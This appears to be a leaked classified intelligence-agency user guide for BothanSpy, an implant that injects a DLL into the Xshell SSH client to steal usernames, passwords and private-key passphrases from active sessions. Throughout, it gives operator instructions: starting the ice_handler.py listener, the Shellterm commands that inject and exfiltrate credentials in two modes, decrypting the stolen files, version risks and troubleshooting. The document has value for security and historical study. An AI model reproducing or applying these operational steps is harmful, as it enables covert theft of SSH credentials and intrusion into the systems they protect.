(S) Engineering Development Group

(S) BothanSpy
V1.0
(U) Tool Documentation

Rev. 1.0
20 March 2015

Classified By: 2417940
Reason: 1.4(c)
Declassify On: 25X1, 20650309
Derived From: CIA NSCG COL S-06

Contents

(S) BothanSpy 1.0

1 (U) Tool Summary

(S//NF) BothanSpy is a tool that targets the SSH client program Xshell and steals user credentials for all active SSH sessions. BothanSpy will exfiltrate the stolen credentials through the Fire and Collect (F&C) channel and out to disk on the attacker-side. By using F&C, BothanSpy never touches disk.

(S//NF) Many Bothan spies will die to bring you this information, remember their sacrifice.

2 (U) Release Notes

(S//NF) Version 1.0 will officially support a handful of versions. See the compatibility section for more information.

3 (U) User's Guide

3.1 (U) Change Log

Table 1: (S) Change log (contents SECRET)

Revision	Date	Author	Notes
1.0	20 March, 2015	AED/RDB	Initial version.

3.2 (U) File Information

Table 2: (S) File information (contents SECRET//NOFORN)

BothanSpy.dll
BothanSpy.py
ice_handler.py
fnf_unpack.py
BothanSpy.dll.META.xml

3.3 (U) File/Registry Access

(U) No registry access

(S//NF) If the Forget mode (v3) is used, BothanSpy writes stolen credentials to disk, encrypted with AES, at the user-provided path. If Collect mode (v3) is used, there is zero disk access.

3.4 (U) Compatibility

(S//NF) BothanSpy only works if Xshell is running on the target, and it has **active** sessions. Otherwise, Xshell is not storing credential information in the location BothanSpy will search.

(S//NF) Version 1.0 will 'officially' support the following version of Xshell:

- Version 3, build 0288
- Version 4, build 0127
- Version 5, build 0497
- Version 5, build 0537

(S//NF) The term 'officially' means that these versions were available to the developer to test against. BothanSpy is written to handle versions not on the above list. BothanSpy takes a very paranoid approach when collecting credential information. However, there is always some risk (no matter how small it may be) to using BothanSpy against an untested/unofficial version of Xshell.

(S//NF) Practically speaking, using BothanSpy against versions of Xshell bewteen version 4 build 0127 and version 5 build 0537 is likely extremely low risk; The changes between version 4 build 0127 and version 5 build 0497 were tiny. It is likely that versions in between will match either one of the two internally and BothanSpy will work just fine.

(S//NF) BothanSpy was tested against a copy of Xshell version 2 build 0910 (almost 9 years old). BothanSpy did not scrape credentials because of a critical difference between version and versions 4/5. However, BothanSpy did not crash the process. Using BothanSpy against versions older than version 4 has a low risk, but it is still risky compared to using BothanSpy against versions 4/5 of Xshell. **BothanSpy will not perform version checking at any stage.** Make sure you understand the risk of using BothanSpy before using it against unknown versions. Feel free to contact the developer to ask specific questions about BothanSpy and its risks.

(S//NF) In order to use BothanSpy against targets running a x64 version of Windows, the loader being used must support Wow64 injection. Xshell only comes as a x86 binary, and thus BothanSpy is only compiled as x86. Shellterm 3.0+ supports Wow64 injection, and Shellterm is highly recommended.

3.5 (U) Installation

(S//NF) The usage here assumes Shellterm 3.x is being used. If you are using another loader, some of the instructions below may not apply. Contact the developer if you have questions regarding other loaders.

(S//NF) BothanSpy.dll requires no configuration before it can be used. Before use with Shellterm, install the BothanSpy.py file into the Shellterm configured scripts folder (usually 'scripts' in the shellterm installation folder. If the folder does not exist, create one named 'scripts'). This will add a new command to Shellterm called 'BothanSpy'. Also, ensure you have BothanSpy.dll and BothanSpy.dll.META.xml on the attack machine, in the same folder.

3.5.1 (S//NF) Fire and Collect (v3) Mode

(S//NF) The recommended, and default, mode that BothanSpy uses is Fire and Collect (v3) mode. Using Fire and Collect (F&C) will allow BothanSpy to collect credentials without writing a single byte to disk. All collected credentials are sent back to the attack box using a loader-provided pipe, on which data is encrypted. To setup the attack box to use F&C, copy the ice_handler.py script to the attack machine, and open a shell at this location (Yes, it's that easy!)

(S//NF) Before running BothanSpy on target, you have to start the (F&C) handler on the attack machine. Using the shell you've opened in the folder containing ice_handler.py, run the following command:

```
>./ice_handler.py <path to output file>
```

(S//NF) The <path to output file> should be a valid path, along with a file name. If the file exists already, data will be appended to it. If the file does not exist already, a new file is created. All credentials that BothanSpy steals will be stored here. If run successfully, you should see something like:

```
14:00:59: @@@ Settings up UDS [/tmp/bothan]
14:00:49: @@@ Waiting for connection from ICE host/loader
```

(S//NF) There will be timestamps on each output line. The script will inform you when it gets a connection from Shellterm (or another F&C loader) and the script is processing exfiltrated data. The data will be written to the output file. When data is collected from the target, you'll see the following output for each Xshell process on target:

```
<time stamp> ### ICE loader connected! Reading data on pipe
<time stamp> ### Output received
<time stamp> @@@ Waiting for connection from ICE host/loader
```

(S//NF) Once the ice_handler.py script is running, you are ready to throw BothanSpy on target machines.

3.5.2 (S//NF) Fire and Forget (v3) mode

(S//NF) While not the preferred mode, BothanSpy does offer Fire and Forget (v3) mode for instances where F&C can't be used or when the CONOPS requires this mode. Fire and Forget (F&F) mode will create files on the target's machine that contain the credential data parsed from Xshell, encrypted with AES-256.

(S//NF) No extra installation is needed to run in F&F mode. To unpack F&F files, you'll need the fnf_unpack.py script on whatever machine you'd like to unpack on. Also, determine what folder path you would like BothanSpy output files to go to on target, and ensure those paths are writable by Xshell. For example, on Windows Vista+ machines, user-mode processes (which likely will include Xshell) cannot write to C:\, C:\Windows, etc. without UAC elevation. Xshell will have permissions to write to the user's temp folder, or newly created folders off of the local drive (Ex. mkdir C:\tempfolder).

3.6 (U) Usage

(S//NF) The following instructions assume the directions in 3.5 were followed. Specifically, it is assumed that the BothanSpy Shellterm script was installed correctly, and BothanSpy.dll, BothanSpy.dll.META.xml, and (optionally) ice_handler.py were all correctly placed on the attack machine.

3.6.1 (S//NF) Fire and Collect usage

(S//NF) You should have ice_handler.py up and running before using BothanSpy in F&C mode. Attach to a valid Shellterm session on a target of interest and run the following command to steal credentials from all running Xshell processes that have active SSH sessions:

```
>BothanSpy <path to local copy of BothanSpy.dll>
```

(S//NF) The BothanSpy Shellterm script will look for all known processes of Xshell that have been known to store credential information for the 'officially' supported versions. For each discovered process, it will inject BothanSpy.dll into the process to actually steal the credentials available. There is no need to run BothanSpy more than once on a target unless you suspect a new session has been established using credentials you have not stolen already.

(S//NF) The output file given to ice_handler.py will contain the user name and password for password authenticated sessions. For private key authenticated sessions, the user name, key file name (with some exceptions, see section 3.6) and key file password will be available. The order of credentials for each connection will be:

- Password authentication
  - User name
  - Password
- Public key authentication
  - User name
  - Private key file name (if available)
  - Private key password

3.6.2 (S//NF) Fire and Forget usage

(S//NF) Attach to a valid Shellterm session on a target of interest and run the following command to steal credentials from all running Xshell processes that have active SSH sessions:

```
>BothanSpy <path to local copy of BothanSpy.dll> Forget <path to writeable folder on target>\<base file name> <passphrase>
```

(S//NF) The base file name should include '{}' in the name. This is the location in the file name where BothanSpy will put the PID of the process it stole credentials from. This allows BothanSpy to create a unique file per execution of the DLL.

(S//NF) A quick and easy example to use:

```
>BothanSpy /home/dev/Desktop/bothans/BothanSpy.dll Forget c:\temp\creds{}.txt secretpassphrase
```

(S//NF) The above example will output encrypted files to the path C:\temp on the target (this path must exist already and be writable by Xshell). The files will be named credsXXXX.txt where XXXX is a PID of an Xshell process. The AES key used to encrypt each file will be a hash derived form the password 'secretpassphrase'. Don't forget this password or you'll be out of luck.

(S//NF) After all encrypted files have been exfil'd back to the attack machine. You'll need to use the fnf_unpack.py script to decrypt the files. The usage for fnf_unpack.py will print if you run it with no parameters. Below is a copy of that usage information:

- fnf_unpack.py <input file/folder> <output file> <password>

(S//NF) The input file/folder can be an individual encrypted file, or a folder containing BothanSpy encrypted files. The script will extract all credential information and write it to the output file. Make sure you use the correct password that was used to encrypt the files. **NOTE: fnf_unpack.py will overwrite <output file> if it already exists!**

3.7 (U) Known issues

(S//NF) On some versions, Xshell will let the user use a private key file that has not been imported into Xshell's key manager. In this case, BothanSpy will not be able to get the private key file name. It will still recover the private key file password, and the user name.

(S//NF) The output file containing credentials may have some excessive newlines between credential entries. This is a result of not truly knowing how many different credentials may come out of a single Xshell process (version/target dependent). It may cause a minor eye sore when viewing stolen credentials.

(S//NF) There may be a lot of white space/empty lines when viewing unpacked output. BothanSpy tries to clearly delimit different credentials taken from a single process. Furthermore, processes that do not have credential information stored within will result in an empty output file, or no text echoed back to the F&C script which will then print trailing newlines anyways.

(S//NF) It does not destroy the Death Star, nor does it detect traps laid by The Emperor to destroy Rebel fleets.

3.8 (U) Error codes

(S//NF) Below is a table listing error codes that can be returned by the BothanSpy DLL. These should be printed on the Shellterm CLI when the BothanSpy script is run. This does not include ICE errors, which are standard and are in the ICE v3 specification. If you get an Xshell validation-related error, you likely are attempting to steal credentials from an unsupported version of Xshell that is dissimilar to supported versions in areas that BothanSpy relies on. Remember this code as the developer can use it to help determine what has changed.

Error Code	Internal meaning	What happened???
1	ERROR_BAD_CLIENTSOCK	An Xshell object failed a validation check in BothanSpy
2	ERROR_BAD_CCONNECTION	An Xshell object failed a validation check in BothanSpy
3	ERROR_BAD_CSSHPROTOCOL	An Xshell object failed a validation check in BothanSpy
4	ERROR_BAD_CLIENTPOINTER	An Xshell object failed a validation check in BothanSpy
5	ERROR_BAD_GLOBALPOINTER	An Xshell object failed a validation check in BothanSpy
6	ERROR_BAD_SRVUSERNAME	An Xshell object failed a validation check in BothanSpy
7	ERROR_BAD_SERVERPASS	An Xshell object failed a validation check in BothanSpy
8	ERROR_BAD_KEYFILE	An Xshell object failed a validation check in BothanSpy
9	ERROR_BAD_KEYPASS	An Xshell object failed a validation check in BothanSpy
10/0xa	ERROR_CRYPTO_FAIL	BothanSpy failed to initialize AES crypto. Make sure you've provided a password.

11/0xb	ERROR_WRITE_FAIL	BothanSpy failed to write the nonce value to the output file. This is unlikely to occur unless there's a weird permission issue, or the system is in a bad place
12/0xc	ERROR_BAD_OUTFILE	BothanSpy could not create a new output file. This means the path given to BothanSpy was not writable by Xshell, or the file already exists. Make sure the output file does not exist, and the path to the chosen output file is writable by Xshell (typically user privileges)
13/0xd	Nothing (Yet...)	If you got this, you're having a really bad day, something really awful happened, or the developer forgot to update the user guide (d'oh!)

3.9 (U) Troubleshooting

(S//NF) BothanSpy couldn't find any versions to attack (as printed to the screen via Shellterm): Then BothanSpy could not find any Xshellcore.exe or Xshell.exe processes to inject into. Perform a process listing on the target to see if those process exist. If those processes do not exist, are you sure that Xshell is running? And are you sure that Xshell, if it is running, has any active sessions? If the target has renamed the Xshell executables, you'll have to edit the BothanSpy.py Shellterm script accordingly. Feel free to ask the developer of BothanSpy what to do in this instance.

(S//NF) BothanSpy found Xshell processes to steal from, but no credentials were recovered: Are you sure that the target has active sessions in Xshell? If you know for sure that the target's Xshell process is managing active sessions, the version of Xshell in use may be unsupported by BothanSpy. Check the registry key HKLM\Software\NetSarang\Xshell for a list of major versions installed. If versions 4 and 5 are installed, you should see the subkeys '4' and '5' under the Xshell key. Under those subkeys will be the build number. This information is useful to the developer to add support for a new version of Xshell.

(S//NF) Shellterm says something about an unsupported request when running BothanSpy.py, or some other error when running BothanSpy.py: Shellterm 3.0+ is required to run BothanSpy against x64 target machines, as it is the latest Shellterm version known to support Wow64 injection. The error message you are getting likely means you are running a version of Shellterm that does not do Wow64 injection. If Shellterm does not recognize the command “BothanSpy” then you may have put the BothanSpy.py file in the wrong scripts folder for your Shellterm installation.

(S//NF) I went to destroy the Death Star with the information obtained by BothanSpy, but The Empire's entire Star Ship fleet warped in, and the shield generators are not down on the Death Star, what gives?: I told you it would be a trap (Section 3.7), that's on you.